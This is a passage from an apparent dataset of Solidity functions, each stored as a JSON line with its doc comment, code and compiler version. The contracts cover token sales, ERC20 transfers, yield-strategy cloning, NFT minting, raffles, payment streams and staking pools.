0);\r\n\r\n token = MintableToken(_token);\r\n preSaleStart = _preSaleStart;\r\n preSaleEnd = _preSaleEnd;\r\n saleStart = _saleStart;\r\n saleEnd = _saleEnd;\r\n rate = _rate;\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Function used to buy tokens\r\n */", "function_code": "function buyTokens() public saleIsOn whenNotPaused payable {\r\n require(msg.sender != address(0));\r\n require(msg.value >= 20 finney);\r\n\r\n uint256 weiAmount = msg.value;\r\n uint256 currentRate = getRate(weiAmount);\r\n\r\n // calculate token amount to be created\r\n uint256 newTokens = weiAmount.mul(currentRate).div(10**18);\r\n\r\n require(issuedTokens.add(newTokens) <= hardCap);\r\n \r\n issuedTokens = issuedTokens.add(newTokens);\r\n received[msg.sender] = received[msg.sender].add(weiAmount);\r\n token.mint(msg.sender, newTokens);\r\n TokenPurchase(msg.sender, msg.sender, newTokens);\r\n\r\n etherWallet.transfer(msg.value);\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Function used to set wallets and enable the sale.\r\n * @param _etherWallet Address of ether wallet.\r\n * @param _teamWallet Address of team wallet.\r\n * @param _advisorWallet Address of advisors wallet.\r\n * @param _bountyWallet Address of bounty wallet.\r\n * @param _fundWallet Address of fund wallet.\r\n */", "function_code": "function setWallets(address _etherWallet, address _teamWallet, address _advisorWallet, address _bountyWallet, address _fundWallet) public onlyOwner inState(State.BEFORE_START) {\r\n require(_etherWallet != address(0));\r\n require(_teamWallet != address(0));\r\n require(_advisorWallet != address(0));\r\n require(_bountyWallet != address(0));\r\n require(_fundWallet != address(0));\r\n\r\n etherWallet = _etherWallet;\r\n teamWallet = _teamWallet;\r\n advisorWallet = _advisorWallet;\r\n bountyWallet = _bountyWallet;\r\n fundWallet = _fundWallet;\r\n\r\n uint256 releaseTime = saleEnd + lockTime;\r\n\r\n // Mint locked tokens\r\n teamTokens = new TokenTimelock(token, teamWallet, releaseTime);\r\n token.mint(teamTokens, teamCap);\r\n\r\n // Mint released tokens\r\n token.mint(advisorWallet, advisorCap);\r\n token.mint(bountyWallet, bountyCap);\r\n token.mint(fundWallet, fundCap);\r\n\r\n currentState = State.SALE;\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Get exchange rate based on time and amount.\r\n * @param amount Amount received.\r\n * @return An uint256 representing the exchange rate.\r\n */", "function_code": "function getRate(uint256 amount) internal view returns (uint256) {\r\n if(now < preSaleEnd) {\r\n require(amount >= 6797 finney);\r\n\r\n if(amount <= 8156 finney)\r\n return rate.mul(105).div(100);\r\n if(amount <= 9515 finney)\r\n return rate.mul(1055).div(1000);\r\n if(amount <= 10874 finney)\r\n return rate.mul(1065).div(1000);\r\n if(amount <= 12234 finney)\r\n return rate.mul(108).div(100);\r\n if(amount <= 13593 finney)\r\n return rate.mul(110).div(100);\r\n if(amount <= 27185 finney)\r\n return rate.mul(113).div(100);\r\n if(amount > 27185 finney)\r\n return rate.mul(120).div(100);\r\n }\r\n\r\n return rate;\r\n }", "version": "0.4.18"} {"comment": "/// @notice Transfer `_value` tokens from sender's account\n/// `msg.sender` to provided account address `_to`.\n/// @notice This function is disabled during the funding.\n/// @dev Required state: Operational\n/// @param _to The address of the tokens recipient\n/// @param _value The amount of token to be transferred\n/// @return Whether the transfer was successful or not", "function_code": "function transfer(address _to, uint256 _value) public returns (bool) {\r\n // Abort if not in Operational state.\r\n \r\n var senderBalance = balances[msg.sender];\r\n if (senderBalance >= _value && _value > 0) {\r\n senderBalance -= _value;\r\n balances[msg.sender] = senderBalance;\r\n balances[_to] += _value;\r\n Transfer(msg.sender, _to, _value);\r\n return true;\r\n }\r\n return false;\r\n }", "version": "0.4.19"} {"comment": "//this method is responsible for taking all fee where fee is require to be deducted.", "function_code": "function _tokenTransfer(address sender, address recipient, uint256 amount) private \r\n {\r\n if(recipient==uniswapV2Pair)\r\n {\r\n setAllFees(_saleTaxFee, _saleLiquidityFee, _saleTreasuryFee, _saleMarketingFee);\r\n }\r\n \r\n \r\n if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient])\r\n { \r\n removeAllFee(); \r\n }\r\n else \r\n {\r\n require(amount <= _maxTxAmount, \"Transfer amount exceeds the maxTxAmount.\");\r\n }\r\n \r\n \r\n\r\n if (_isExcluded[sender] && !_isExcluded[recipient]) {\r\n _transferFromExcluded(sender, recipient, amount);\r\n } else if (!_isExcluded[sender] && _isExcluded[recipient]) {\r\n _transferToExcluded(sender, recipient, amount);\r\n } else if (!_isExcluded[sender] && !_isExcluded[recipient]) {\r\n _transferStandard(sender, recipient, amount);\r\n } else if (_isExcluded[sender] && _isExcluded[recipient]) {\r\n _transferBothExcluded(sender, recipient, amount);\r\n } else {\r\n _transferStandard(sender, recipient, amount);\r\n }\r\n\r\n restoreAllFee();\r\n }", "version": "0.8.9"} {"comment": "/**\r\n * @dev SavingsandLoans Constructor\r\n * Mints the initial supply of tokens, this is the hard cap, no more tokens will be minted.\r\n * Allocate the tokens to the foundation wallet, issuing wallet etc.\r\n */", "function_code": "function SavingsandLoans() public {\r\n // Mint initial supply of tokens. All further minting of tokens is disabled\r\n totalSupply_ = INITIAL_SUPPLY;\r\n\r\n // Transfer all initial tokens to msg.sender\r\n balances[msg.sender] = INITIAL_SUPPLY;\r\n Transfer(0x0, msg.sender, INITIAL_SUPPLY);\r\n }", "version": "0.4.19"} {"comment": "// we use this to clone our original strategy to other vaults", "function_code": "function cloneConvex3CrvRewards(\r\n address _vault,\r\n address _strategist,\r\n address _rewardsToken,\r\n address _keeper,\r\n uint256 _pid,\r\n address _curvePool,\r\n string memory _name\r\n ) external returns (address newStrategy) {\r\n require(isOriginal);\r\n // Copied from https://github.com/optionality/clone-factory/blob/master/contracts/CloneFactory.sol\r\n bytes20 addressBytes = bytes20(address(this));\r\n assembly {\r\n // EIP-1167 bytecode\r\n let clone_code := mload(0x40)\r\n mstore(\r\n clone_code,\r\n 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000\r\n )\r\n mstore(add(clone_code, 0x14), addressBytes)\r\n mstore(\r\n add(clone_code, 0x28),\r\n 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000\r\n )\r\n newStrategy := create(0, clone_code, 0x37)\r\n }\r\n\r\n StrategyConvex3CrvRewardsClonable(newStrategy).initialize(\r\n _vault,\r\n _strategist,\r\n _rewardsToken,\r\n _keeper,\r\n _pid,\r\n _curvePool,\r\n _name\r\n );\r\n\r\n emit Cloned(newStrategy);\r\n }", "version": "0.6.12"} {"comment": "/* ========== KEEP3RS ========== */", "function_code": "function harvestTrigger(uint256 callCostinEth)\r\n public\r\n view\r\n override\r\n returns (bool)\r\n {\r\n // trigger if we want to manually harvest\r\n if (forceHarvestTriggerOnce) {\r\n return true;\r\n }\r\n\r\n // harvest if we have a profit to claim\r\n if (claimableProfitInUsdt() > harvestProfitNeeded) {\r\n return true;\r\n }\r\n\r\n // Should not trigger if strategy is not active (no assets and no debtRatio). This means we don't need to adjust keeper job.\r\n if (!isActive()) {\r\n return false;\r\n }\r\n\r\n return super.harvestTrigger(callCostinEth);\r\n }", "version": "0.6.12"} {"comment": "// convert our keeper's eth cost into want", "function_code": "function ethToWant(uint256 _ethAmount)\r\n public\r\n view\r\n override\r\n returns (uint256)\r\n {\r\n uint256 callCostInWant;\r\n if (_ethAmount > 0) {\r\n address[] memory ethPath = new address[](2);\r\n ethPath[0] = address(weth);\r\n ethPath[1] = address(dai);\r\n\r\n uint256[] memory _callCostInDaiTuple =\r\n IUniswapV2Router02(sushiswap).getAmountsOut(\r\n _ethAmount,\r\n ethPath\r\n );\r\n\r\n uint256 _callCostInDai =\r\n _callCostInDaiTuple[_callCostInDaiTuple.length - 1];\r\n callCostInWant = zapContract.calc_token_amount(\r\n curve,\r\n [0, _callCostInDai, 0, 0],\r\n true\r\n );\r\n }\r\n return callCostInWant;\r\n }", "version": "0.6.12"} {"comment": "// These functions are useful for setting parameters of the strategy that may need to be adjusted.\n// Set optimal token to sell harvested funds for depositing to Curve.\n// Default is DAI, but can be set to USDC or USDT as needed by strategist or governance.", "function_code": "function setOptimal(uint256 _optimal) external onlyAuthorized {\r\n if (_optimal == 0) {\r\n crvPath[2] = address(dai);\r\n convexTokenPath[2] = address(dai);\r\n if (hasRewards) {\r\n rewardsPath[2] = address(dai);\r\n }\r\n optimal = 0;\r\n } else if (_optimal == 1) {\r\n crvPath[2] = address(usdc);\r\n convexTokenPath[2] = address(usdc);\r\n if (hasRewards) {\r\n rewardsPath[2] = address(usdc);\r\n }\r\n optimal = 1;\r\n } else if (_optimal == 2) {\r\n crvPath[2] = address(usdt);\r\n convexTokenPath[2] = address(usdt);\r\n if (hasRewards) {\r\n rewardsPath[2] = address(usdt);\r\n }\r\n optimal = 2;\r\n } else {\r\n revert(\"incorrect token\");\r\n }\r\n }", "version": "0.6.12"} {"comment": "// Use to add or update rewards", "function_code": "function updateRewards(address _rewardsToken) external onlyGovernance {\r\n // reset allowance to zero for our previous token if we had one\r\n if (address(rewardsToken) != address(0)) {\r\n rewardsToken.approve(sushiswap, uint256(0));\r\n }\r\n // update with our new token, use dai as default\r\n rewardsToken = IERC20(_rewardsToken);\r\n rewardsToken.approve(sushiswap, type(uint256).max);\r\n rewardsPath = [address(rewardsToken), address(weth), address(dai)];\r\n hasRewards = true;\r\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Public function for purchasing {num} amount of tokens. Checks for current price.\n * Calls mint() for minting processs\n * @param _to recipient of the NFT minted\n * @param _num number of NFTs minted (Max is 20)\n */", "function_code": "function buy(address _to, uint256 _num) \n public \n payable \n {\n require(!salePaused, \"Sale hasn't started\");\n require(_num < (maxMint+1),\"You can mint a maximum of 20 NFTPs at a time\");\n require(msg.value >= price * _num,\"Ether amount sent is not correct\");\n mint(_to, _num);\n }", "version": "0.8.4"} {"comment": "/**\n * @dev Public function for purchasing presale {num} amount of tokens. Requires whitelistEligible()\n * Calls mint() for minting processs\n * @param _to recipient of the NFT minted\n * @param _num number of NFTs minted (Max is 20)\n */", "function_code": "function presale(address _to, uint256 _num)\n public\n payable\n {\n require(!presalePaused, \"Presale hasn't started\");\n require(whitelistEligible(_to), \"You're not eligible for the presale\");\n require(_num < (maxMint+1),\"You can mint a maximum of 20 NFTPs at a time\");\n require(msg.value >= price * _num,\"Ether amount sent is not correct\");\n mint(_to, _num);\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Returns the integer division of two unsigned integers. Reverts with custom message on\r\n * division by zero. The result is rounded towards zero.\r\n *\r\n * Counterpart to Solidity's `/` operator. Note: this function uses a\r\n * `revert` opcode (which leaves remaining gas untouched) while Solidity\r\n * uses an invalid opcode to revert (consuming all remaining gas).\r\n *\r\n * Requirements:\r\n * - The divisor cannot be zero.\r\n * NOTE: This is a feature of the next version of OpenZeppelin Contracts.\r\n * @dev Get it via `npm install @openzeppelin/contracts@next`.\r\n */", "function_code": "function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {\r\n // Solidity only automatically asserts when dividing by 0\r\n require(b > 0, errorMessage);\r\n uint256 c = a / b;\r\n // assert(a == b * c + a % b); // There is no case in which this doesn't hold\r\n\r\n return c;\r\n }", "version": "0.5.1"} {"comment": "/** Increases the number of drag-along tokens. Requires minter to deposit an equal amount of share tokens */", "function_code": "function wrap(address shareholder, uint256 amount) public noOfferPending() {\r\n require(active, \"Contract not active any more.\");\r\n require(wrapped.balanceOf(msg.sender) >= amount, \"Share balance not sufficient\");\r\n require(wrapped.allowance(msg.sender, address(this)) >= amount, \"Share allowance not sufficient\");\r\n require(wrapped.transferFrom(msg.sender, address(this), amount), \"Share transfer failed\");\r\n _mint(shareholder, amount);\r\n }", "version": "0.5.10"} {"comment": "/** @dev Function to start drag-along procedure\r\n * This can be called by anyone, but there is an upfront payment.\r\n */", "function_code": "function initiateAcquisition(uint256 pricePerShare) public {\r\n require(active, \"An accepted offer exists\");\r\n uint256 totalEquity = IShares(getWrappedContract()).totalShares();\r\n address buyer = msg.sender;\r\n\r\n require(totalSupply() >= totalEquity.mul(MIN_DRAG_ALONG_QUOTA).div(10000), \"This contract does not represent enough equity\");\r\n require(balanceOf(buyer) >= totalEquity.mul(MIN_HOLDING).div(10000), \"You need to hold at least 5% of the firm to make an offer\");\r\n\r\n require(currency.transferFrom(buyer, offerFeeRecipient, offerFee), \"Currency transfer failed\");\r\n\r\n Acquisition newOffer = new Acquisition(msg.sender, pricePerShare, acquisitionQuorum);\r\n require(newOffer.isWellFunded(getCurrencyContract(), totalSupply() - balanceOf(buyer)), \"Insufficient funding\");\r\n if (offerExists()) {\r\n require(pricePerShare >= offer.price().mul(MIN_OFFER_INCREMENT).div(10000), \"New offers must be at least 5% higher than the pending offer\");\r\n killAcquisition(\"Offer was replaced by a higher bid\");\r\n }\r\n offer = newOffer;\r\n\r\n emit OfferCreated(buyer, pricePerShare);\r\n }", "version": "0.5.10"} {"comment": "// Get your money back before the raffle occurs", "function_code": "function getRefund() public {\r\n uint refund = 0;\r\n for (uint i = 0; i < totalTickets; i++) {\r\n if (msg.sender == contestants[i].addr && raffleId == contestants[i].raffleId) {\r\n refund += pricePerTicket;\r\n contestants[i] = Contestant(address(0), 0);\r\n gaps.push(i);\r\n TicketRefund(raffleId, msg.sender, i);\r\n }\r\n }\r\n\r\n if (refund > 0) {\r\n msg.sender.transfer(refund);\r\n }\r\n }", "version": "0.4.16"} {"comment": "// Refund everyone's money, start a new raffle, then pause it", "function_code": "function endRaffle() public {\r\n if (msg.sender == feeAddress) {\r\n paused = true;\r\n\r\n for (uint i = 0; i < totalTickets; i++) {\r\n if (raffleId == contestants[i].raffleId) {\r\n TicketRefund(raffleId, contestants[i].addr, i);\r\n contestants[i].addr.transfer(pricePerTicket);\r\n }\r\n }\r\n\r\n RaffleResult(raffleId, totalTickets, address(0), address(0), address(0), 0, 0);\r\n raffleId++;\r\n nextTicket = 0;\r\n gaps.length = 0;\r\n }\r\n }", "version": "0.4.16"} {"comment": "/**\r\n * Pay from sender to receiver a certain amount over a certain amount of time.\r\n **/", "function_code": "function paymentCreate(address payable _receiver, uint256 _time) public payable {\r\n // Verify that value has been sent\r\n require(msg.value > 0);\r\n // Verify the time is non-zero\r\n require(_time > 0);\r\n payments.push(Payment({\r\n sender: msg.sender,\r\n receiver: _receiver,\r\n timestamp: block.timestamp,\r\n time: _time,\r\n weiValue: msg.value,\r\n weiPaid: 0,\r\n isFork: false,\r\n parentIndex: 0,\r\n isForked: false,\r\n fork1Index: 0,\r\n fork2Index: 0\r\n }));\r\n emit PaymentCreated(payments.length - 1);\r\n }", "version": "0.5.0"} {"comment": "/**\r\n * Return the wei owed on a payment at the current block timestamp.\r\n **/", "function_code": "function paymentWeiOwed(uint256 index) public view returns (uint256) {\r\n requirePaymentIndexInRange(index);\r\n Payment memory payment = payments[index];\r\n // Calculate owed wei based on current time and total wei owed/paid\r\n return max(payment.weiPaid, payment.weiValue * min(block.timestamp - payment.timestamp, payment.time) / payment.time) - payment.weiPaid;\r\n }", "version": "0.5.0"} {"comment": "/**\n * Public functions for minting.\n */", "function_code": "function mint(uint256 amount) public payable {\n uint256 totalIssued = _tokenIds.current();\n require(msg.value == amount*price && saleStart && totalIssued.add(amount) <= maxSupply && amount <= maxMint);\n if(accesslistSale) {\n require(Accesslist[msg.sender]);\n require(Wallets[msg.sender]+amount <= walletLimit);\n Wallets[msg.sender] += amount;\n }\n\n for(uint256 i=0; i 0);\r\n uint party_swap_balance = self.swap_balances[_swap][party_balance_index].amount;\r\n //reduces the users totals balance by the amount in that swap\r\n self.user_total_balances[_party] = self.user_total_balances[_party].sub(party_swap_balance);\r\n //reduces the total supply by the amount of that users in that swap\r\n self.total_supply = self.total_supply.sub(party_swap_balance);\r\n //sets the partys balance to zero for that specific swaps party balances\r\n self.swap_balances[_swap][party_balance_index].amount = 0;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n *@dev Removes the address from the swap balances for a swap, and moves the last address in the\r\n *swap into their place\r\n *@param _remove address of prevous owner\r\n *@param _swap address used to get last addrss of the swap to replace the removed address\r\n */", "function_code": "function removeFromSwapBalances(TokenStorage storage self,address _remove, address _swap) internal {\r\n uint last_address_index = self.swap_balances[_swap].length.sub(1);\r\n address last_address = self.swap_balances[_swap][last_address_index].owner;\r\n //If the address we want to remove is the final address in the swap\r\n if (last_address != _remove) {\r\n uint remove_index = self.swap_balances_index[_swap][_remove];\r\n //Update the swap's balance index of the last address to that of the removed address index\r\n self.swap_balances_index[_swap][last_address] = remove_index;\r\n //Set the swap's Balance struct at the removed index to the Balance struct of the last address\r\n self.swap_balances[_swap][remove_index] = self.swap_balances[_swap][last_address_index];\r\n }\r\n //Remove the swap_balances index for this address\r\n delete self.swap_balances_index[_swap][_remove];\r\n //Finally, decrement the swap balances length\r\n self.swap_balances[_swap].length = self.swap_balances[_swap].length.sub(1);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n *@dev ERC20 compliant transfer function\r\n *@param _to Address to send funds to\r\n *@param _amount Amount of token to send\r\n *@return true for successful\r\n */", "function_code": "function transfer(TokenStorage storage self, address _to, uint _amount) public returns (bool) {\r\n require(isWhitelisted(self,_to));\r\n uint balance_owner = self.user_total_balances[msg.sender];\r\n if (\r\n _to == msg.sender ||\r\n _to == address(0) ||\r\n _amount == 0 ||\r\n balance_owner < _amount\r\n ) return false;\r\n transferHelper(self,msg.sender, _to, _amount);\r\n self.user_total_balances[msg.sender] = self.user_total_balances[msg.sender].sub(_amount);\r\n self.user_total_balances[_to] = self.user_total_balances[_to].add(_amount);\r\n emit Transfer(msg.sender, _to, _amount);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n *@dev ERC20 compliant transferFrom function\r\n *@param _from address to send funds from (must be allowed, see approve function)\r\n *@param _to address to send funds to\r\n *@param _amount amount of token to send\r\n *@return true for successful\r\n */", "function_code": "function transferFrom(TokenStorage storage self, address _from, address _to, uint _amount) public returns (bool) {\r\n require(isWhitelisted(self,_to));\r\n uint balance_owner = self.user_total_balances[_from];\r\n uint sender_allowed = self.allowed[_from][msg.sender];\r\n if (\r\n _to == _from ||\r\n _to == address(0) ||\r\n _amount == 0 ||\r\n balance_owner < _amount ||\r\n sender_allowed < _amount\r\n ) return false;\r\n transferHelper(self,_from, _to, _amount);\r\n self.user_total_balances[_from] = self.user_total_balances[_from].sub(_amount);\r\n self.user_total_balances[_to] = self.user_total_balances[_to].add(_amount);\r\n self.allowed[_from][msg.sender] = self.allowed[_from][msg.sender].sub(_amount);\r\n emit Transfer(_from, _to, _amount);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n *@dev Allows a user to deploy a new swap contract, if they pay the fee\r\n *@param _start_date the contract start date \r\n *@return new_contract address for he newly created swap address and calls \r\n *event 'ContractCreation'\r\n */", "function_code": "function deployContract(uint _start_date) public payable returns (address) {\r\n require(msg.value >= fee && isWhitelisted(msg.sender));\r\n require(_start_date % 86400 == 0);\r\n address new_contract = deployer.newContract(msg.sender, user_contract, _start_date);\r\n contracts.push(new_contract);\r\n created_contracts[new_contract] = _start_date;\r\n emit ContractCreation(msg.sender,new_contract);\r\n return new_contract;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n *@dev Deploys DRCT tokens for given start date\r\n *@param _start_date of contract\r\n */", "function_code": "function deployTokenContract(uint _start_date) public{\r\n address _token;\r\n require(_start_date % 86400 == 0);\r\n require(long_tokens[_start_date] == address(0) && short_tokens[_start_date] == address(0));\r\n _token = new DRCT_Token();\r\n token_dates[_token] = _start_date;\r\n long_tokens[_start_date] = _token;\r\n token_type[_token]=2;\r\n _token = new DRCT_Token();\r\n token_type[_token]=1;\r\n short_tokens[_start_date] = _token;\r\n token_dates[_token] = _start_date;\r\n startDates.push(_start_date);\r\n\r\n }", "version": "0.4.24"} {"comment": "/**\r\n *@dev Deploys new tokens on a DRCT_Token contract -- called from within a swap\r\n *@param _supply The number of tokens to create\r\n *@param _party the address to send the tokens to\r\n *@param _start_date the start date of the contract \r\n *@returns ltoken the address of the created DRCT long tokens\r\n *@returns stoken the address of the created DRCT short tokens\r\n *@returns token_ratio The ratio of the created DRCT token\r\n */", "function_code": "function createToken(uint _supply, address _party, uint _start_date) public returns (address, address, uint) {\r\n require(created_contracts[msg.sender] == _start_date);\r\n address ltoken = long_tokens[_start_date];\r\n address stoken = short_tokens[_start_date];\r\n require(ltoken != address(0) && stoken != address(0));\r\n DRCT_Token drct_interface = DRCT_Token(ltoken);\r\n drct_interface.createToken(_supply.div(token_ratio), _party,msg.sender);\r\n drct_interface = DRCT_Token(stoken);\r\n drct_interface.createToken(_supply.div(token_ratio), _party,msg.sender);\r\n return (ltoken, stoken, token_ratio);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n *@dev Allows for a transfer of tokens to _to\r\n *@param _to The address to send tokens to\r\n *@param _amount The amount of tokens to send\r\n */", "function_code": "function transfer(address _to, uint _amount) public returns (bool) {\r\n if (balances[msg.sender] >= _amount\r\n && _amount > 0\r\n && balances[_to] + _amount > balances[_to]) {\r\n balances[msg.sender] = balances[msg.sender] - _amount;\r\n balances[_to] = balances[_to] + _amount;\r\n emit Transfer(msg.sender, _to, _amount);\r\n return true;\r\n } else {\r\n return false;\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n *@dev Allows an address with sufficient spending allowance to send tokens on the behalf of _from\r\n *@param _from The address to send tokens from\r\n *@param _to The address to send tokens to\r\n *@param _amount The amount of tokens to send\r\n */", "function_code": "function transferFrom(address _from, address _to, uint _amount) public returns (bool) {\r\n if (balances[_from] >= _amount\r\n && allowed[_from][msg.sender] >= _amount\r\n && _amount > 0\r\n && balances[_to] + _amount > balances[_to]) {\r\n balances[_from] = balances[_from] - _amount;\r\n allowed[_from][msg.sender] = allowed[_from][msg.sender] - _amount;\r\n balances[_to] = balances[_to] + _amount;\r\n emit Transfer(_from, _to, _amount);\r\n return true;\r\n } else {\r\n return false;\r\n }\r\n }", "version": "0.4.24"} {"comment": "/// @inheritdoc\tIRaribleSecondarySales", "function_code": "function getFeeRecipients(uint256 tokenId)\n public\n view\n override\n returns (address payable[] memory recipients)\n {\n // using ERC2981 implementation to get the recipient & amount\n (address recipient, uint256 amount) = royaltyInfo(tokenId, 10000);\n if (amount != 0) {\n recipients = new address payable[](1);\n recipients[0] = payable(recipient);\n }\n }", "version": "0.8.4"} {"comment": "/**\n * @notice batch received\n */", "function_code": "function onERC1155BatchReceived(address _operator, address _from, uint256[] calldata _ids, uint256[] calldata _amounts, bytes calldata _data) external nonReentrant returns(bytes4) {\n require(msg.sender == address(nft), \"DrawCard: only accept self nft\");\n require(_ids.length == _amounts.length,\"DrawCard: id length must equal amount length\");\n\n for (uint256 i = 0; i < _ids.length; i++) {\n _receiveCards(_from,_ids[i],_amounts[i],_data);\n }\n\n _operator;\n \n return ERC1155_BATCH_RECEIVED_VALUE;\n }", "version": "0.6.12"} {"comment": "/**\n * @notice when card is ready for init\n */", "function_code": "function init() public onlyOperator{\n require(!isInit,\"DrawCard: already init!\");\n \n for (uint256 i = 2; i <= 6; i++) {\n /* token 2 - 5 is 1000 piece */\n require(nft.balanceOf(address(this),i) == INIT_BALANCE_B,\"DrawCard: cards value not right!\");\n }\n /* token 1 is 500 piece */\n require(nft.balanceOf(address(this),1) == INIT_BALANCE_A,\"DrawCard: cards value not right!\");\n\n isInit = true;\n }", "version": "0.6.12"} {"comment": "/**\n * @notice draw card functions\n * @param time draw card time\n * @param seed seed for produce a random number\n */", "function_code": "function drawCard(uint256 time, uint256 seed) public whenNotPaused nonReentrant {\n require(isInit,\"DrawCard: not init yet!\");\n require(time > 0 && time <= MAX_DRAW_COUNT,\"DrawCard: draw card time not good!\");\n require(time <= countCard(),\"DrawCard: not enough card!\");\n\n uint256 costMee = DRAW_CARD_FEE.mul(time);\n require(mee.transferFrom(msg.sender,dealAddress,costMee),\"DrawCard: failed to transfer token!\");\n\n if(randomFlag){\n _getRandomNumber(seed);\n seed = linkRandomResult;\n }\n \n uint256[] memory ids = new uint256[](5);\n\n for(uint256 i = 0; i < time; i++) {\n uint256 id = _drawCard(seed);\n nft.safeTransferFrom(address(this),msg.sender,id,1,\"\");\n ids[id.sub(2)] = ids[id.sub(2)].add(1);\n randomNonce = randomNonce.add(1);\n }\n\n emit DrawMyCards(msg.sender,ids);\n }", "version": "0.6.12"} {"comment": "/**\n * @notice transfer cards to deal address for exchange id 1 card\n */", "function_code": "function exchangeCard1(uint256 number) public whenNotPaused nonReentrant{\n require(number > 0, \"DrawCard: can not exchange 1 card 0 piece!\");\n require(nft.balanceOf(address(this),1) >= number,\"DrawCard: not enought card 1 for exchange!\");\n \n uint256[] memory ids = new uint256[](5);\n uint256 value = number.mul(2);\n uint256[] memory values = new uint256[](5);\n \n for(uint256 i = 0; i < 5; i++) {\n ids[i] = i.add(2);\n values[i] = value;\n }\n \n nft.safeBatchTransferFrom(msg.sender,dealAddress,ids,values,\"\");\n \n /* transfer card 1 for user */\n nft.safeTransferFrom(address(this), msg.sender, 1, number, \"\");\n\n emit ExchangeCard1(msg.sender,number);\n }", "version": "0.6.12"} {"comment": "/**\r\n * Transfers `amount` tokens from `from` address to `to`\r\n * the sender needs to have allowance for this operation\r\n * @param from - address to take tokens from\r\n * @param to - address to send tokens to\r\n * @param amount - amount of tokens to send\r\n * @return success - `true` if the transfer was succesful, `false` otherwise\r\n */", "function_code": "function transferFrom (address from, address to, uint256 amount) returns (bool success) { \r\n if (balances[from] < amount)\r\n return false;\r\n\r\n if(allowed[from][msg.sender] < amount)\r\n return false;\r\n\r\n if(amount == 0)\r\n return false;\r\n\r\n if(balances[to] + amount <= balances[to])\r\n return false;\r\n\r\n balances[from] -= amount;\r\n allowed[from][msg.sender] -= amount;\r\n balances[to] += amount;\r\n Transfer(from, to, amount);\r\n return true;\r\n }", "version": "0.4.15"} {"comment": "/// @inheritdoc Variety", "function_code": "function plant(address, bytes32[] memory)\n external\n view\n override\n onlySower\n returns (uint256)\n {\n // this ensure that noone, even Sower, can directly mint tokens on this contract\n // they can only be created through the wrapping method\n revert('No direct planting, only wrapping.');\n }", "version": "0.8.4"} {"comment": "/// @notice Slugify a name (tolower and replace all non 0-9az by -)\n/// @param str the string to keyIfy\n/// @return the key", "function_code": "function slugify(string memory str) public pure returns (string memory) {\n bytes memory strBytes = bytes(str);\n bytes memory lowerCase = new bytes(strBytes.length);\n uint8 charCode;\n bytes1 char;\n for (uint256 i; i < strBytes.length; i++) {\n char = strBytes[i];\n charCode = uint8(char);\n\n // if 0-9, a-z use the character\n if (\n (charCode >= 48 && charCode <= 57) ||\n (charCode >= 97 && charCode <= 122)\n ) {\n lowerCase[i] = char;\n } else if (charCode >= 65 && charCode <= 90) {\n // if A-Z, use lowercase\n lowerCase[i] = bytes1(charCode + 32);\n } else {\n // for all others, return a -\n lowerCase[i] = 0x2D;\n }\n }\n\n return string(lowerCase);\n }", "version": "0.8.4"} {"comment": "/// @dev allows to set a name internally.\n/// checks that the name is valid and not used, else throws\n/// @param tokenId the token to name\n/// @param seedlingName the name", "function_code": "function _setName(uint256 tokenId, string memory seedlingName) internal {\n bytes32 slugBytes;\n\n // if the name is not empty, require that it's valid and not used\n if (bytes(seedlingName).length > 0) {\n require(isNameValid(seedlingName) == true, 'Invalid name.');\n\n // also requires the name is not already used\n slugBytes = keccak256(bytes(slugify(seedlingName)));\n require(usedNames[slugBytes] == false, 'Name already used.');\n\n // set as used\n usedNames[slugBytes] = true;\n }\n\n // if it already has a name, mark the old name as unused\n string memory oldName = names[tokenId];\n if (bytes(oldName).length > 0) {\n slugBytes = keccak256(bytes(slugify(oldName)));\n usedNames[slugBytes] = false;\n }\n\n names[tokenId] = seedlingName;\n }", "version": "0.8.4"} {"comment": "//Starts a new calculation epoch\n// Because averge since start will not be accurate", "function_code": "function startNewEpoch() public {\r\n for (uint256 _pid = 0; _pid < poolInfo.length; _pid++) {\r\n require(\r\n poolInfo[_pid].epochCalculationStartBlock + 50000 <\r\n block.number,\r\n \"New epoch not ready yet\"\r\n ); // About a week\r\n poolInfo[_pid].epochRewards[epoch] = poolInfo[_pid]\r\n .rewardsInThisEpoch;\r\n poolInfo[_pid].cumulativeRewardsSinceStart = poolInfo[_pid]\r\n .cumulativeRewardsSinceStart\r\n .add(poolInfo[_pid].rewardsInThisEpoch);\r\n poolInfo[_pid].rewardsInThisEpoch = 0;\r\n poolInfo[_pid].epochCalculationStartBlock = block.number;\r\n ++epoch;\r\n }\r\n }", "version": "0.6.12"} {"comment": "// Add a new token pool. Can only be called by the owner.\n// Note contract owner is meant to be a governance contract allowing NERD governance consensus", "function_code": "function add(\r\n uint256 _allocPoint,\r\n IERC20 _token,\r\n bool _withUpdate\r\n ) public onlyOwner {\r\n require(\r\n isTokenPairValid(address(_token)),\r\n \"One of the paired tokens must be NERD\"\r\n );\r\n if (_withUpdate) {\r\n massUpdatePools();\r\n }\r\n\r\n uint256 length = poolInfo.length;\r\n for (uint256 pid = 0; pid < length; ++pid) {\r\n require(poolInfo[pid].token != _token, \"Error pool already added\");\r\n }\r\n\r\n totalAllocPoint = totalAllocPoint.add(_allocPoint);\r\n\r\n poolInfo.push(\r\n PoolInfo({\r\n token: _token,\r\n allocPoint: _allocPoint,\r\n accNerdPerShare: 0,\r\n lockedPeriod: LP_LOCKED_PERIOD_WEEKS.mul(LP_RELEASE_TRUNK),\r\n emergencyWithdrawable: false,\r\n rewardsInThisEpoch: 0,\r\n cumulativeRewardsSinceStart: 0,\r\n startBlock: block.number,\r\n epochCalculationStartBlock: block.number\r\n })\r\n );\r\n }", "version": "0.6.12"} {"comment": "//return value is /1000", "function_code": "function 